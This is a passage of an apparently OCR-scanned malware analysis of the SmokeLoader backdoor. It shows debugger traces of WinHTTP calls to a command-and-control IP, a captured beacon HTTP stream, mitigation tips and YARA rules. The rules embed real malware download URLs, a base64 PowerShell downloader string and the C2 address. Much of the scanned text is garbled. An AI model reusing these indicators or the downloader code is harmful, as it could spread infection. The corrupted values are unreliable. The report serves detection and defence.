DORMSILOD insgeiConmit 26 X | 0RO S0 45 39 0 8 59 44 24 20 4o b4 45 20 FLEGED-H.D6 (RE.
. . . a g8 cO 48 & 24 28 48 8 e 2
Dxﬁ?ﬁmo Image:commft 52$ RX 00004ac0 48 8b d6 48 89 44 24 20 ££ 15 92 18 00 00 48 &b H..H.DS ...... H.
Dx7=f2311000 Image: Commit BH8kE RX 000042d0 ce 85 cO 75 7 e8 £2 03 00 00 48 2d 55 38
0x7fef2d41000 Image: Commit 452K RX 00004ae0 4d e0 c7 45 38 2e 00 00 00 e 16 02 00 00
0x7fef3021000 Image: Commit 624k RX 00004a£0 2 98 48 8d 4d e0 88 Sc 05 df ff
0x7fef3361000 Image: Commit 7o kB RX 0000400 08 00 00 8b 48 48 &b 4d 40 ££ 15 41 18 00
% TFef33F1000 < m 00004b10 8b ce =8 b5 03 00 00 4c &d 45 30 48 &8d 15 2
00004b20 00 00 8b cb c7 45 30 04 01 00 00 ££ 15 27
00004E30 48 g
00004k40 cc
00004b50 8
00004060 23 cd
q 00004b70 24 c3
A 00004b20 5 47 i
Q  AAAAMRAA £5 an A8 £2 a8 AR £2 aA A8 AR S1 A0 24 4F A7 AR B Ta B H_
g Re-ead ][ Write ” Go to ][16bytes per row v] [ Save... ][ Close
g

The WinHttpConnect API determines the destination server. After the server is specified,
WinHttpSendRequest requests to the server with the API.

https://t.me/learningnets M
e e N —

Bou | @ e | i ik | Clivoter | ® Kesmemoktslen | B tafiza | () vignGagrien | Smsed | Lo komutDosyes | @) semboler | <> kaynak | 4 Referansier | ' fsparcackian | o Tuter
44:0FB745 D3 movzx r8d,word ptr ss:[Irbp-2D] ~
48:8B55 C7 mov rdx,qwurd ptr ss:[irbp-39] [rbp-391:1L"94.140.115.43"
45:33C9 xor rad,

49: 8BCD mov rcx,r
FF15 OE310000 call qwnrd ptr ds:[<&WinHttpConnect>]
4C:8BF0 mov rl4,rax
48:894424 48 mov qwurd ptr ss:[Irsp+48J,rax
48:8B45 5F mov rax, ﬂwcrd ptr_ss:[Irbp+5F]
4& 8945 9F mov gwor ptr ss:[Irbp-61J, rax
test rl4,rl:
v 0FB4 65020000 je 3FA413E
o 40:0FB6CE movzx ecx,sil
o 40:84F6 test sil,sil
~ 74 50 je 3FA3F4C
L FFC9 dec ecx

F ~ 75 42 jne 3FA3F42

| L B9 1D000000 mov_ecx, 1D

; L E8_4A0C0000 call 3FA4B54

i L 807D 7F 01 cmp byte ptr ss:[rbp+7F

| C 45:8B3C24 mov r15d,dword ptr ds: [rlZ]

! L 48:8BF0 mov rsi,rax

| ~ 75 1C jne 3FA3F33

| o 48:8B4D 67 mov rcx,qword ptr ss:|[frbp+67]

; 48:8D5424 40 lea rdx,qword ptr ss:[rsp+40]

| 41:31 O mov rob,4

; 45: mov r8d,r15d

i C74424 40 1FBEA[ ov_dword ptr ss:[Irsp+40,DEADBELF

I E8 BDOCOD call 3FA4BFO

! B9 1E000000 mov_ecx.lE

J « m '

qword ptr [0000000003FAGFE8 <&winHttpConnect>]=<winhttp.wWinHttpConnect>

0000000003FA3ED4




@ oath | | ok ® Kesme Noksslan | W8 vakes | () vinGagrian | % s Komut Oosyen | @) semboler | < rayiak | - Meferarsiar | W lyPorcackion | o Tutemeger | ¢ 1z

1 ﬁ"“"“ ptr Trbp -] Fpu Gizle
) mov aword ptr rbp
and qword ptr s : fr RAX  0000000003EECE70
mov r9 q\nmd ptr hx» RBX  00000000066€ 3960 L"Content-Type: application/x-www-form-urlencoded;
xor 8, RCX  0000000003EECE70
nov rde; rbx rdx:L"Content-Type: application/x-wew- | ROX  0000000006663960 L"Content-Type: application/x-www-form-urlencoded
b, x t Ry 1 f 1
mov rcx, 114 REP  000000000497F931
4 "'""" guord pir ss:frseoy iy RSP 000000000497F860
! i oy dwot hiaTY
peccecccesaior IS D02F0000 (€11 ‘aword. p(r {3 i Wi EpsendReques t]. L (R S
o ST
( 0F84 07000000 |36 SEAALOR
. 't s “Brbp RE  0000000000000000
0 ! 5o o oo et g o edx;L"Content-Type: application/x-wes- | k9 00000000067229C0
49:80ce moy rex,rid R10 0000000077 3AC6A td11.0000000077 3AC6A0
i and_dword ptr ds:[rax], RI1  000000000497F710
i | FELS Be2ro000 | gaM aword ‘pte i [<ainkttpReceiveResponses] R12  0000000006722900
St eax, el R13 00000000066£C830
0F84_BD000000 MIOF R14  0000000003EECE70
41:BF 00280000 o RIS 000000000000003F ‘7
edizt
L C A A5:8BEF mov_rlid,r15d RIP 0000000003F AV02A
o 001 FFLS 85410000 |G quord ptr ds: (<Getprocessheaps]
oo 8057 o8 Tea'edx,quord ptr-ds: (rdi 5] edx:L"Content-Type: application/s-w- [ TR T
) 45 7 r8 F\A 5d + rex JRECR/D ) 1 " I
% Al o q:g,d‘ b 690 rax 2 rgx 00000000066€ 3960 L"Content-Type: application/x-www-form-urlencoded
o o FF15 52120000 | call gword prr i [<&Rt1A1 Tocateneaps) 3 i
o 4C:8865 97 Imovr12.aword otr ss:fichy- 698 -
y |5t [rspe2
qword p! roooooooooiu 000 -Mnlllllvscndkcqucsh —awinhttp. winHttpsendReques t> L :25:5 3¢
8: [rsp+di 7FCO
9: frsped ADBE1F

0000000003F A402A

When looking at the connected command and control server, it is seen that there is no "/1/"
directory. It has been determined that the purpose here is to write the payload in the header
into the memory in the response.

Bou | @cat | ranka | ot | @ remenokaim | =t \ G vomcan | s | L komtovsee | @) sevoster | < sawk | o eserars | typwcachion | b rumage | o) 1
. 000 3F Ad — 88CS mov 13d uch file or director L FPU Gizle
- sub ax uch file or directory
. 3D 00280000 cnp ax uch file or directory RAX  0000000008611E90 “No such file or directory”
o jqe RBX  00000000066E 3960 L"Content-Type: application/x-www-form-urlencoded
d
. 41:81cs 0028000C add RCX  0000000003EECE70
. ) 409 8 mov uch file or director RDX  0000000008611EA9
o 100003 A409 HA 08000000 mov RBP  000000000497F931
. 000 3F A4 gko m::sxd v 9,r13d RSP 000000000497F860 & "POST"
500003F Hgeils G RSI  0000000008476FEQ L"POST"
& 200000 9 :(r};ngnoooo (lllv(‘mo::: ptr ds: [<GRtIReANlocateneaps] e RDI  0000000000000019
. i 48:6307 movsxd rdx,edi :
. ) 4C:8D4C24 40 Tea r9,qword ptr ss:frsp+40Q R8 0000000000002800
- 003F A4 41:88 00280000 |mov r8d, R9 0000000004‘? F8AQ
. 03FA 49:0307 add rdxrls r ) such file or directory R10 000000000360  L'*
49: 86CE ov_rex; rld R11  0000000000000018
A« MUY FF15 47260000 ‘ull aword ptr rds: (<Jum R12  0000000000400000
0003} 884424 40 x, dword pt R13  0000000000005000
J0000 35 Ad 850 Tos eax:"No such file or directory R14  0000000003EECE70
0000 3F 0 R15  0000000008611E90 “No such file or directory”
03F eax:"No such file or directory
0000 3F 48:8B4D 6F mov rex,qword ptr ss:firbp 60 RIP 00000000035 A4088
] 0101 add dword ptr -(u.f,....\ eax:"No such file or directory
850 Test eaxes eax: "No such file or director = —
¥ AN ine EAOTD
¢ 4C:8B65 8F mov r12,qword ptr
f 4C:8B60 A7 moy r13,qword Btr, QI Y
0000 3F 3901 cmp dword ptr ds: [rex eax:"Na such file or director i r8 0000000000002800
000 76 1F 76 SERe10b «|4: r9 000000000497F8A0
. i ) rsp+20] 000000000000003F
qword ptr [0000000003FA7010 <&winHttpReadDatas])=<winhttp. winkttpReadData> ::g:‘;g 00928
rsp+38] 0000000000407FCO
0000000003FA408B rsp+40] 0000000000000019

M Wireshark - Follow HTTP Stream (tcp.stream eq 3) - Yerel Ag Baglantisi

POST /1/ HTTP/1.1 it
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 6.1; Win64; x64; Trident/7.8; rv:11.8) like Gecko
Content-Length: 63

Host: 94.148.115.43

-..k.ge......x.B-a.._~#.".5.\..=......{+.R9......5....0.7.. 2.b(HTTP/1.1 266 OK
Server: nginx

Date: Sun, @9 May 2821 23:13:@3 GMT

Content-Type: text/html; charset=windows-1251 L
Content-Length: 25
Connection: keep-alive
Keep-Alive: timeout=60

No such file or directoryPOST /1/ HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 6.1; Win64; x64; Trident/7.8; rv:11.8) like Gecko
Content-Length: 63

Host: 94.146.115.43

-..k.ge. ... x.B-a. .~ "U5LN
Server: nginx

Date: Sun, 89 May 2821 23:13:83 GMT
Content-Type: text/html; charset=windows-1251
Fantent-lenath- 75

2 ciient sl 2 server pknsl 3 s

[Emjre conversation (1078 bytes) v] Show data as |ASCII -
Find: Find Mext

[Filter QOut This Stream][ Print H Save as.. H Back ][ Kapat H Yardim ]

oo {+.RO......3....0.7.. 2. b(HTTP/1.1 206@ OK

https://t.me/learningnets
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Solution Proposals

There are ways to protect against a type of Backdoor malware SmokeLoader:
- Use of up-to-date, reliable anti-virus software in systems,

- Careful attention to incoming e-mails and not to open unconsciously without analyzing the
attachments,

- Disregard of spam emails,

- Solutions such as the creation of Mutex objects on the system, type of Backdoor malware
SmokelLoader is contaminated with the system prevents it.
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YARA Rule

import "hash"
import "pe"
import "cuckoo"
rule FirstFile{
meta:
description="20211k049443.doc"
strings:
$str1="bit.ly/3e0R}kSj"
$commandl="LoadLibraryW"
$command2="URLDownloadToFilew"

$command3="CreateProcessAsUser"

condition:

hash.md5(0,filesize) == "67CB98B84A7DB5F2F69023B0C5C08309" or all of them

rule SecondFile{
meta:
description="pkM3T1.exe.jpg"
strings:

$str1="IAAcAE4ARQB3ACOAbwBIAGoARQBjAHQAIAACIGAATgBgAGUAYABUAGAALgBgAFcAYABIAGAAQgBg
AEMAYABSAGAAaQBgAGUAYABOAGAAVAAdICKALgBEAG8AdwBUAEWAbwWBBAGQAZgBIJAGWARQAOACAAHSBOAHQ
AJABWAHMAOQgAVACBAJQAUAHQAZQBrAG4AaQBrAC4AaQBVACBAMgA4AGBATABXAC4AagBwAGCAHSAGACWAIAAI
CQARQBOAHYAOgBOAGUAbQBWAFWAZQBWAEQAdwBBAEMAQgBOAHAAVWAUAGUAeABIABOgIAApACAAOWAGAHM
AJABBAFIAJAAgABOgJABFAE4AdgAG6AHQAZQBIAHAAXABIAFYARAB3AEEAQWBCAHQACABXACAAZQB4AGUAHSA="

$str2="eVDWACBtpW.exe"
$str3="u.teknik.io/280LW.jpg"

$commandl="DownloadFile"

condition:

hash.md5(0,filesize) == "9FBD32C6BB25F6A660696FA9830C5040" or all of them

https://t. me/learningnets /A‘
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ruIe ThirdFile{

meta:
description="eVDwWACBtpW.exe"

strings:
$str1="sbieldIl"
$commandl="CreateThread"
$command2="SetProp"
$command3="EnumProps"
$command4="EnumChildWindows"

$command5="SendNotifyMessage"

condition:

hash.md5(0,filesize) == "0D1334075336455A13A36FD909417556" or all of them or pe.entry_point ==
0x2931

rule ShellCode{

meta:
description="shellcode"

strings:
$commandl="Sleep"
$command2="Process32First"
$command3="Process32Next"
$command4="TerminateProcess"
$str4={34 5C C5 11 C3 B2 FC B4}
$str5={D6 9F 18 63 CD 85 DD BC}
$str6={0B F7 OA 60 CC A8 F2 A1}
$str7={9B 0D C8 60 FF 81 F4 6B}
$str8={C3 92 D2 AA DF ED BC 37}
$stro={D8 E0 BC 09 8D A7 D2 4B}
$str10={A7 A1 D2 4B 08 40 49 4E}
$str11={08 40 63 74 ?? ?? ?? ??}
$str12={8B 3B DO F6 ?? ?? ?? ??}

$str13="94.140.115.43"

condition:

hash.md5(0,filesize) == "6E671847540F9CA5CBB5F24127842D8A" or all of them or
cuckoo.network.http_request(/http:\/\/94.140.115.43\.com/)

}
https://t.me/learningnets




Fatih YILMAZ
https://www.linkedin.com/in/fatih-yilmaz-f8/
Bugra KOSE
https://www.linkedin.com/in/bugrakose/
Irem ALKASI
https://www.linkedin.com/in/iremalkasi/
Esmanur ALICAN
https:.//www.linkedin.com/infesmanur-alicann/
Caglar YUN
https://www.linkedin.com/in/caglaryun/



https://www.linkedin.com/in/fatih-yilmaz-f8/
https://www.linkedin.com/in/fatih-yilmaz-f8/
https://www.linkedin.com/in/bugrakose/
https://www.linkedin.com/in/iremalkasi/
https://www.linkedin.com/in/esmanur-alicann/
https://www.linkedin.com/in/caglaryun/

